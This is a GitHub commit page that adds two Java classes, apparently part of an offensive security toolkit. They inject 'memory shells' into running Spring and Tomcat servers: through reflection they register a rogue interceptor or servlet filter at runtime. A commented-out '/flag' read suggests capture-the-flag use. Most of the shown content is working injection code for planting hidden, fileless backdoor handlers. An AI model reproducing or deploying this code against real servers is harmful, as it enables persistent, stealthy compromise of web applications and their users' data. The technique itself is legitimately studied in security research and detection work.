-
Notifications
You must be signed in to change notification settings - Fork 150
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
3 changed files
with
235 additions
and
2 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,58 @@ | ||
package msshell; | ||
|
||
import org.springframework.beans.BeansException; | ||
import org.springframework.web.context.WebApplicationContext; | ||
import org.springframework.web.context.request.RequestContextHolder; | ||
import org.springframework.web.context.request.ServletRequestAttributes; | ||
import org.springframework.web.servlet.handler.HandlerInterceptorAdapter; | ||
|
||
import javax.servlet.ServletRequest; | ||
import javax.servlet.http.HttpServletRequest; | ||
import javax.servlet.http.HttpServletResponse; | ||
import java.lang.reflect.Method; | ||
|
||
/** | ||
* @author wh1t3p1g | ||
* @since 2023/3/26 | ||
*/ | ||
public class SpringInterceptor extends HandlerInterceptorAdapter { | ||
|
||
static { | ||
try { | ||
Class<?> RequestContextUtils = Class.forName("org.springframework.web.servlet.support.RequestContextUtils"); | ||
|
||
Method getWebApplicationContext; | ||
try { | ||
getWebApplicationContext = RequestContextUtils.getDeclaredMethod("getWebApplicationContext", ServletRequest.class); | ||
} catch (NoSuchMethodException e) { | ||
getWebApplicationContext = RequestContextUtils.getDeclaredMethod("findWebApplicationContext", HttpServletRequest.class); | ||
} | ||
getWebApplicationContext.setAccessible(true); | ||
|
||
WebApplicationContext context = (WebApplicationContext) getWebApplicationContext.invoke(null, ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest()); | ||
|
||
//从 requestMappingHandlerMapping 中获取 adaptedInterceptors 属性 老版本是 DefaultAnnotationHandlerMapping | ||
org.springframework.web.servlet.handler.AbstractHandlerMapping abstractHandlerMapping; | ||
try { | ||
Class<?> RequestMappingHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping"); | ||
abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(RequestMappingHandlerMapping); | ||
} catch (BeansException e) { | ||
Class<?> DefaultAnnotationHandlerMapping = Class.forName("org.springframework.web.servlet.mvc.annotation.DefaultAnnotationHandlerMapping"); | ||
abstractHandlerMapping = (org.springframework.web.servlet.handler.AbstractHandlerMapping) context.getBean(DefaultAnnotationHandlerMapping); | ||
} | ||
|
||
java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors"); | ||
field.setAccessible(true); | ||
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>) field.get(abstractHandlerMapping); | ||
|
||
//添加SpringInterceptorTemplate类到adaptedInterceptors | ||
adaptedInterceptors.add(new SpringInterceptor()); | ||
} catch (Exception ignored) { | ||
} | ||
} | ||
|
||
@Override | ||
public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { | ||
return true; | ||
} | ||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,153 @@ | ||
package msshell; | ||
|
||
|
||
import org.apache.catalina.Context; | ||
import org.apache.catalina.core.ApplicationContext; | ||
import org.apache.catalina.core.ApplicationFilterConfig; | ||
import org.apache.catalina.core.StandardContext; | ||
import org.apache.tomcat.util.descriptor.web.FilterDef; | ||
import org.apache.tomcat.util.descriptor.web.FilterMap; | ||
|
||
import javax.servlet.*; | ||
import javax.servlet.http.HttpServletResponse; | ||
import java.io.IOException; | ||
import java.lang.reflect.Constructor; | ||
import java.lang.reflect.Field; | ||
import java.util.Map; | ||
|
||
/** | ||
* @author wh1t3p1g | ||
* @since 2023/3/1 | ||
*/ | ||
public class TomcatFilter implements Filter { | ||
|
||
private static String uri; | ||
private static String filterName = "DefaultFilter"; | ||
|
||
private static String data = "test"; | ||
public TomcatFilter(String uri){ | ||
} | ||
|
||
public TomcatFilter() { | ||
try{ | ||
System.out.println("try to inject"); | ||
ThreadLocal threadLocal = init(); | ||
|
||
if (threadLocal != null && threadLocal.get() != null) { | ||
System.out.println("try to inject to request"); | ||
javax.servlet.ServletRequest servletRequest = (javax.servlet.ServletRequest) threadLocal.get(); | ||
javax.servlet.ServletContext servletContext = servletRequest.getServletContext(); | ||
|
||
ApplicationContext applicationContext = (ApplicationContext) getFieldObject(servletContext, servletContext.getClass(), "context"); | ||
|
||
StandardContext standardContext = (StandardContext) getFieldObject(applicationContext, applicationContext.getClass(), "context"); | ||
Map filterConfigs = (Map) getFieldObject(standardContext, standardContext.getClass(), "filterConfigs"); | ||
|
||
if(filterConfigs.get(filterName) != null){ | ||
filterConfigs.remove(filterName); // 重新注册 | ||
} | ||
|
||
TomcatFilter filter = new TomcatFilter(uri); | ||
|
||
FilterDef filterDef = new FilterDef(); | ||
filterDef.setFilterName(filterName); | ||
filterDef.setFilterClass(filter.getClass().getName()); | ||
filterDef.setFilter(filter); | ||
standardContext.addFilterDef(filterDef); | ||
|
||
FilterMap filterMap = new FilterMap(); | ||
filterMap.addURLPattern(uri); | ||
filterMap.setFilterName(filterName); | ||
filterMap.setDispatcher(DispatcherType.REQUEST.name()); | ||
standardContext.addFilterMapBefore(filterMap); | ||
|
||
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class); | ||
constructor.setAccessible(true); | ||
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef); | ||
|
||
filterConfigs.put(filterName, filterConfig); | ||
System.out.println("inject success"); | ||
} | ||
|
||
}catch (Exception e){ | ||
|
||
} | ||
} | ||
|
||
public ThreadLocal init() throws Exception{ | ||
Class<?> applicationDispatcher = Class.forName("org.apache.catalina.core.ApplicationDispatcher"); | ||
Field WRAP_SAME_OBJECT = getField(applicationDispatcher, "WRAP_SAME_OBJECT"); | ||
Field modifiersField = getField(WRAP_SAME_OBJECT.getClass(), "modifiers"); | ||
modifiersField.setInt(WRAP_SAME_OBJECT, WRAP_SAME_OBJECT.getModifiers() & ~java.lang.reflect.Modifier.FINAL); | ||
if (!WRAP_SAME_OBJECT.getBoolean(null)) { | ||
WRAP_SAME_OBJECT.setBoolean(null, true); | ||
} | ||
|
||
//初始化 lastServicedRequest | ||
Class<?> applicationFilterChain = Class.forName("org.apache.catalina.core.ApplicationFilterChain"); | ||
Field lastServicedRequest = getField(applicationFilterChain,"lastServicedRequest"); | ||
modifiersField = getField(lastServicedRequest.getClass(),"modifiers"); | ||
modifiersField.setInt(lastServicedRequest, lastServicedRequest.getModifiers() & ~java.lang.reflect.Modifier.FINAL); | ||
|
||
if (lastServicedRequest.get(null) == null) { | ||
lastServicedRequest.set(null, new ThreadLocal<>()); | ||
} | ||
|
||
//初始化 lastServicedResponse | ||
Field lastServicedResponse = getField(applicationFilterChain,"lastServicedResponse"); | ||
modifiersField = getField(lastServicedResponse.getClass(),"modifiers"); | ||
modifiersField.setInt(lastServicedResponse, lastServicedResponse.getModifiers() & ~java.lang.reflect.Modifier.FINAL); | ||
|
||
if (lastServicedResponse.get(null) == null) { | ||
lastServicedResponse.set(null, new ThreadLocal<>()); | ||
} | ||
|
||
return (ThreadLocal) getFieldObject(null, applicationFilterChain,"lastServicedRequest"); | ||
} | ||
|
||
public static Object getFieldObject(Object obj, Class<?> cls, String fieldName){ | ||
Field field = getField(cls, fieldName); | ||
try { | ||
return field.get(obj); | ||
} catch (IllegalAccessException e) { | ||
e.printStackTrace(); | ||
} | ||
return null; | ||
} | ||
|
||
public static Field getField(Class<?> cls, String fieldName){ | ||
Field field = null; | ||
try { | ||
field = cls.getDeclaredField(fieldName); | ||
field.setAccessible(true); | ||
} catch (NoSuchFieldException ex) { | ||
if (cls.getSuperclass() != null) | ||
field = getField(cls.getSuperclass(), fieldName); | ||
} | ||
return field; | ||
} | ||
|
||
@Override | ||
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { | ||
// TODO change | ||
HttpServletResponse resp = (HttpServletResponse) response; | ||
// String flag = new String(Files.readAllBytes(Paths.get("/flag"))); | ||
String retData = "{" + | ||
"\"message\": \""+data+"\"," + | ||
"\"code\": \"200\"" + | ||
"}"; | ||
resp.getWriter().write(retData); | ||
// chain.doFilter(request, response); | ||
} | ||
|
||
@Override | ||
public void destroy() { | ||
|
||
} | ||
|
||
@Override | ||
public void init(FilterConfig filterConfig) throws ServletException { | ||
|
||
} | ||
|
||
} |